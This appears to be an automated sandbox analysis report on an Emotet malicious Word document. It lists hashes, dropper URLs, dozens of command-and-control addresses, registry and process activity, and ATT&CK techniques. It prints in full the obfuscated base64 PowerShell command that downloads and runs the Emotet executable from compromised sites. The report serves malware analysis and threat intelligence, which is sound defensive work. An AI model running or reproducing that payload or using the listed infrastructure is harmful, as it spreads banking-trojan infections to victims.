emotet | 4f02bbb52510398b52bbb5043442fc936342a2e54b716793fa3ae3dd1ff7730b

General

Target
emotet_e2_4f02bbb52510398b52bbb5043442fc936342a2e54b716793fa3ae3dd1ff7730b_2020-09-04__175328._doc.doc
Size 240KB
Sample200904-je6s7rnlsa
SHA256 4f02bbb52510398b52bbb5043442fc936342a2e54b716793fa3ae3dd1ff7730b
MD5 9ad1761da984c1c1d1501bd8e8f6b0d1
SHA1 63d8c36f89d2e7b18119fd94fe0dd06814450262
SHA512 4f628b2c84a3503be7b2a1485a228d28a8284a6065a515c5d5b924b0c9526c5726a56995d3d540f8c72598df05b3060f46283064e12d7da419d60a323f63f347
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://moasocialcoop.com/wp-includes/u1weym/
exe.dropper
http://n-brake.com/aspnet_client/WiifnrD/
exe.dropper
https://www.royalsr.in/assets/jZphN4/
exe.dropper
http://online-inet.de/modules/AasIt/
exe.dropper
http://nikniek.nl/cgi-bin/7a4Y/
exe.dropper
http://exagono.com.mx/img/f/
exe.dropper
http://mlrodasepneus.com.br/index11/Cwn/

Extracted

Family

emotet

C2

192.158.216.73:80
85.214.28.226:8080
142.44.137.67:443
162.241.242.173:8080
85.152.162.105:80
62.30.7.67:443
78.24.219.147:8080
74.120.55.163:80
169.239.182.217:8080
216.208.76.186:80
95.213.236.64:8080
200.114.213.233:8080
104.131.44.150:8080
70.121.172.89:80
75.139.38.211:80
185.94.252.104:443
97.82.79.83:80
103.86.49.11:8080
79.98.24.39:8080
83.169.36.251:8080
188.219.31.12:80
74.208.45.104:8080
137.59.187.107:8080
174.45.13.118:80
194.187.133.160:443
50.81.3.113:80
201.173.217.124:443
139.99.158.11:443
68.188.112.97:80
113.160.130.116:8443
173.62.217.22:443
139.130.242.43:80
190.160.53.126:80
137.119.36.33:80
209.141.54.221:8080
24.179.13.119:80
120.150.60.189:80
107.5.122.110:80
121.124.124.40:7080
203.153.216.189:7080
157.245.99.39:8080
85.105.205.77:8080
173.81.218.65:80
110.145.77.103:80
47.144.21.12:443
95.179.229.244:8080
187.161.206.24:80
46.105.131.79:8080
189.212.199.126:443
168.235.67.138:7080
24.137.76.62:80
85.66.181.138:80
200.41.121.90:80
5.39.91.110:7080
104.236.246.93:8080
172.91.208.86:80
99.224.14.125:80
37.139.21.175:8080
109.74.5.95:8080
1.221.254.82:80
61.19.246.238:443
5.196.74.210:8080
67.205.85.243:8080
79.137.83.50:443
94.200.114.161:80
70.180.43.7:80
190.55.181.54:443
47.146.117.214:80
89.205.113.80:80
37.187.72.193:8080
84.39.182.7:80
104.131.11.150:443
139.162.108.71:8080
87.106.136.232:8080
153.232.188.106:80
37.70.8.161:80
112.185.64.233:80
87.106.139.101:8080
94.23.237.171:443
24.43.99.75:80
203.117.253.142:80
98.109.204.230:80
93.147.212.206:80
91.211.88.52:7080
139.59.60.244:8080
176.111.60.55:8080
180.92.239.110:8080
62.75.141.82:80
174.102.48.180:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1920	1732	powershell.exe	72

Blacklisted process makes network request 1 IoCs

flow	pid	Process
31	1920	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2156	J0yzkor5.exe
3404	certmgr.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\utildll\certmgr.exe	J0yzkor5.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat	svchost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1"	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = 21458aaaf582d601	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3888	WINWORD.EXE
3888	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1920	powershell.exe
1920	powershell.exe
1920	powershell.exe
3404	certmgr.exe
3404	certmgr.exe
3404	certmgr.exe
3404	certmgr.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeShutdownPrivilege	628	svchost.exe
Token: SeCreatePagefilePrivilege	628	svchost.exe
Token: SeDebugPrivilege	1920	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
2156	J0yzkor5.exe
2156	J0yzkor5.exe
3404	certmgr.exe
3404	certmgr.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1920 wrote to memory of 2156	1920	powershell.exe	80
PID 1920 wrote to memory of 2156	1920	powershell.exe	80
PID 1920 wrote to memory of 2156	1920	powershell.exe	80
PID 2156 wrote to memory of 3404	2156	J0yzkor5.exe	81
PID 2156 wrote to memory of 3404	2156	J0yzkor5.exe	81
PID 2156 wrote to memory of 3404	2156	J0yzkor5.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_4f02bbb52510398b52bbb5043442fc936342a2e54b716793fa3ae3dd1ff7730b_2020-09-04__175328._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:628

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABVAGQAYwAyAGIAZAB6AD0AKAAnAEMAYwAnACsAJwBpAG0AJwArACgAJwBkACcAKwAnADUAMAAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAVQBzAEUAUgBQAFIATwBmAEkAbABFAFwAWgBPADcANgBrAEYAdwBcAEwAVgBKAGsAYQBWADMAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIARQBDAHQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAEMAVQBgAFIAaQBgAFQAYABZAFAAUgBvAHQATwBjAGAATwBsACIAIAA9ACAAKAAnAHQAJwArACcAbABzACcAKwAoACcAMQAyACcAKwAnACwAIAAnACkAKwAnAHQAJwArACgAJwBsAHMAMQAnACsAJwAxACwAJwArACcAIAB0AGwAcwAnACkAKQA7ACQAQgBpAGkAcABxADEAZwAgAD0AIAAoACgAJwBKACcAKwAnADAAeQB6ACcAKQArACgAJwBrACcAKwAnAG8AcgAnACkAKwAnADUAJwApADsAJABEADIAdgA4AHUAbgByAD0AKAAoACcATAB3AG4AeAAnACsAJwBxACcAKQArACcAbwA4ACcAKQA7ACQAWgB1AHIAaABnAGYANgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwBCACcAKwAoACcAdQAnACsAJwB5AFoAJwApACsAKAAnAG8ANwAnACsAJwA2AGsAJwApACsAJwBmACcAKwAoACcAdwBCACcAKwAnAHUAJwArACcAeQAnACsAJwBMAHYAagBrAGEAdgAnACkAKwAnADMAJwArACgAJwBCACcAKwAnAHUAeQAnACkAKQAgAC0AUgBFAHAATABBAEMARQAgACgAWwBDAEgAQQByAF0ANgA2ACsAWwBDAEgAQQByAF0AMQAxADcAKwBbAEMASABBAHIAXQAxADIAMQApACwAWwBDAEgAQQByAF0AOQAyACkAKwAkAEIAaQBpAHAAcQAxAGcAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFMAMwBpADgAawBqAHcAPQAoACgAJwBSADgAYwAnACsAJwA5AGQAcgAnACkAKwAnAHAAJwApADsAJABZAGEANgBiAGwAdABrAD0AJgAoACcAbgAnACsAJwBlAHcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAGUAdAAuAHcARQBiAGMATABpAGUAbgB0ADsAJABJADkAcQBsAHYAbQBpAD0AKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwADoAJwArACcALwAvACcAKwAoACcAbQBvACcAKwAnAGEAcwBvACcAKQArACgAJwBjAGkAJwArACcAYQBsAGMAJwApACsAKAAnAG8AJwArACcAbwBwACcAKQArACcALgAnACsAKAAnAGMAJwArACcAbwBtAC8AdwBwAC0AaQAnACkAKwAnAG4AJwArACcAYwBsACcAKwAoACcAdQBkACcAKwAnAGUAJwApACsAJwBzACcAKwAoACcALwB1ADEAdwAnACsAJwBlAHkAbQAnACsAJwAvACoAaAAnACkAKwAnAHQAJwArACcAdABwACcAKwAoACcAOgAvACcAKwAnAC8AbgAtACcAKQArACgAJwBiAHIAJwArACcAYQAnACkAKwAnAGsAZQAnACsAKAAnAC4AJwArACcAYwBvACcAKQArACgAJwBtACcAKwAnAC8AYQBzACcAKwAnAHAAbgAnACkAKwAoACcAZQB0ACcAKwAnAF8AYwBsACcAKQArACcAaQAnACsAJwBlACcAKwAoACcAbgB0ACcAKwAnAC8AVwAnACsAJwBpAGkAJwApACsAJwBmACcAKwAnAG4AJwArACcAcgAnACsAKAAnAEQALwAnACsAJwAqAGgAdAAnACkAKwAoACcAdABwACcAKwAnAHMAJwArACcAOgAnACsAJwAvAC8AdwB3AHcALgByAG8AJwApACsAJwB5AGEAJwArACgAJwBsACcAKwAnAHMAcgAuAGkAJwArACcAbgAvAGEAcwBzAGUAJwApACsAKAAnAHQAcwAvAGoAJwArACcAWgBwAGgAJwArACcATgA0AC8AJwApACsAKAAnACoAJwArACcAaAB0ACcAKQArACgAJwB0AHAAOgAvAC8AbwAnACsAJwBuAGwAJwApACsAJwBpACcAKwAoACcAbgBlAC0AJwArACcAaQAnACsAJwBuAGUAdAAnACsAJwAuAGQAZQAvAG0AJwArACcAbwBkAHUAbABlAHMALwBBACcAKwAnAGEAcwAnACsAJwBJACcAKwAnAHQAJwApACsAKAAnAC8AJwArACcAKgBoAHQAdABwADoALwAvACcAKQArACgAJwBuAGkAawAnACsAJwBuACcAKQArACgAJwBpAGUAJwArACcAawAuACcAKQArACcAbgBsACcAKwAoACcALwBjAGcAaQAtACcAKwAnAGIAJwArACcAaQBuAC8ANwAnACsAJwBhADQAJwArACcAWQAvACoAJwApACsAKAAnAGgAdAB0ACcAKwAnAHAAJwArACcAOgAvAC8AZQB4ACcAKQArACgAJwBhAGcAbwBuACcAKwAnAG8ALgBjACcAKQArACcAbwBtACcAKwAnAC4AJwArACcAbQAnACsAKAAnAHgAJwArACcALwAnACsAJwBpAG0AZwAvAGYAJwApACsAJwAvACcAKwAnACoAJwArACcAaAAnACsAKAAnAHQAdABwACcAKwAnADoAJwArACcALwAvACcAKQArACcAbQBsACcAKwAoACcAcgBvAGQAYQBzACcAKwAnAGUAJwArACcAcABuACcAKQArACgAJwBlAHUAJwArACcAcwAuAGMAbwBtACcAKwAnAC4AYgAnACkAKwAnAHIAJwArACgAJwAvAGkAbgBkAGUAJwArACcAeAAxACcAKwAnADEALwAnACkAKwAnAEMAJwArACcAdwAnACsAJwBuAC8AJwApAC4AIgBzAHAAYABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAMwA5AG0AZQBrAHQAPQAoACcAVQAnACsAKAAnADYAeABoACcAKwAnAHcAOQAnACkAKwAnADkAJwApADsAZgBvAHIAZQBhAGMAaAAoACQASAB2AG8AeQBkAGcAaQAgAGkAbgAgACQASQA5AHEAbAB2AG0AaQApAHsAdAByAHkAewAkAFkAYQA2AGIAbAB0AGsALgAiAEQATwBgAHcAbgBsAE8AQQBEAEYASQBgAEwARQAiACgAJABIAHYAbwB5AGQAZwBpACwAIAAkAFoAdQByAGgAZwBmADYAKQA7ACQAVABfAHYAdwBqADgAegA9ACgAJwBEADkAJwArACgAJwBoAHkAawAnACsAJwB0AG8AJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAgACQAWgB1AHIAaABnAGYANgApAC4AIgBMAGUATgBgAGcAVABoACIAIAAtAGcAZQAgADMAOQA1ADMAOQApACAAewAmACgAJwBJAG4AJwArACcAdgBvAGsAZQAtAEkAJwArACcAdAAnACsAJwBlAG0AJwApACgAJABaAHUAcgBoAGcAZgA2ACkAOwAkAFQAbwB5AHIAdgB2AHAAPQAoACcATwBlACcAKwAoACcAcAB3ACcAKwAnAG8AYQAyACcAKQApADsAYgByAGUAYQBrADsAJABOAGcAZQA4ADQAbgBtAD0AKAAnAEIAJwArACgAJwBnAGcAYwA2ACcAKwAnAG8AaQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBhADYAdQBqAGMAZwA9ACgAJwBFACcAKwAoACcAbgAnACsAJwAxADMAJwApACsAKAAnAGoAagAnACsAJwAyACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1920
- C:\Users\Admin\Zo76kfw\Lvjkav3\J0yzkor5.exe
  "C:\Users\Admin\Zo76kfw\Lvjkav3\J0yzkor5.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2156
- - C:\Windows\SysWOW64\utildll\certmgr.exe
    "C:\Windows\SysWOW64\utildll\certmgr.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3404

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1920-12-0x000001CBC85B0000-0x000001CBC85B1000-memory.dmp

Download

memory/1920-13-0x000001CBC8780000-0x000001CBC8781000-memory.dmp

Download

memory/1920-11-0x00007FF8B8570000-0x00007FF8B8F5C000-memory.dmp

Download

memory/2156-17-0x0000000000A50000-0x0000000000A5E000-memory.dmp

Download

memory/2156-18-0x0000000000A60000-0x0000000000A6C000-memory.dmp

Download

memory/3404-21-0x0000000002180000-0x000000000218E000-memory.dmp

Download

memory/3404-22-0x0000000002190000-0x000000000219C000-memory.dmp

Download

memory/3888-0-0x00007FF8BF450000-0x00007FF8BFB16000-memory.dmp

Download

memory/3888-5-0x000001BE4E7B6000-0x000001BE4E7CB000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads